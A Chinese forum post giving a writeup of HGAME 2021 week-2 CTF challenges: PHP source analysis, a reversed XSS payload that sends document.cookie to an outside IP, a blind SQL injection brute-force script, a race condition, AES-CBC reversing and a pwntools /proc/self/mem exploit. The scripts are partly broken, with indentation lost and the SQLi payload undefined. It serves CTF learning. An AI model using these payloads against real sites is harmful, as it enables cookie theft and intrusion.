-
-
[原创] 杭电hgame2021 week2 writeup
-
发表于:
2021-5-27 14:06
12078
-
[原创] 杭电hgame2021 week2 writeup

www.zip可获得源码,分析一下php就行
1 |
submit = getflag&_SESSESSIONSION[username] = admin
|
xss,写个爆破md5的脚本,在服务器搭个接收cookie的环境
xss的payload
1 |
>;eikooc.tnemucod + '=eikooc?php.xedni/271.621.232.94//' = onitacol.tnemucod = rorreno x = crs gmi<
|
sql盲注,根据status字段来回显,采取一个一个字符爆破的方式,select from where需要大小写绕过
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
import requests
import string
import re
s = requests.session()
url = 'https://200ok.liki.link/server.php'
ans = ''
dict = string.ascii_letters + string.digits + string.punctuation
for i in range ( 1 , 60 ):
print (i)
for j in dict :
hd = {
'Status' : payload
}
ra = s.get(url = url,headers = hd).text
if 'HTTP 200 OK' in ra:
print (j)
ans + = j
print (ans)
break
|
条件竞争,抓个买一台的包,然后多线程重复发包就行
一个标准的AESCBC加密,密文和密钥在解压缩出来的strings文档里,密钥的md5作为IV,然后找个在线网站解即可
第一个password比较简单,把比较的字符串提取出来就行
第二个password有个创建子进程的操作,这时候我们可以先启动程序,输入第一个password,然后在等待password2输入的时候attach上去,即可绕过
然后password2就是调用了windowsAPI的一个AESCBC加密,调试拿到密钥和IV,在线网站就可以解
nc连上去,根据回显,就是个异或,一个一个字符弄出flag就行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
from pwn import *
context.arch = "amd64"
context.log_level = 'debug'
sh = remote( '159.75.104.107' , 30398 )
sh.recvuntil( '>> ' )
sh.sendline( '2' )
sh.recvuntil( '>> ' )
sh.sendline( '1' )
sh.recvuntil( '>>' )
payload = '/proc/self/maps'
sh.sendline(payload)
r = sh.recvuntil( ">> " ).splitlines()
print (r)
find = ''
for i in r:
if b 'shop' in i and b 'r--p' in i:
find = i
break
print (find)
elfbase = int (find[ 25 : 37 ], 16 )
print ( hex (elfbase))
sh.sendline( '3' )
sh.recvuntil( '>> ' )
sh.sendline( '111111111111111111111111111' )
sh.recvuntil( '>> ' )
sh.sendline( '3' )
sh.recvuntil( '>> ' )
sh.sendline( '1' )
sh.recvuntil( '>> ' )
sh.sendline( '/proc/self/mem' )
sh.recv()
sh.send( str (elfbase + 8963 ))
sh.recv()
sh.interactive()
|
涉及到proc/self/maps和proc/self/mem的知识,首先maps可以输出当前文件加载的基地址,然后mem可以根据基地址来修改内存
[招生]科锐逆向工程师培训(2025年3月11日实地,远程教学同时开班, 第52期)!
最后于 2021-6-15 20:00
被77pray编辑
,原因: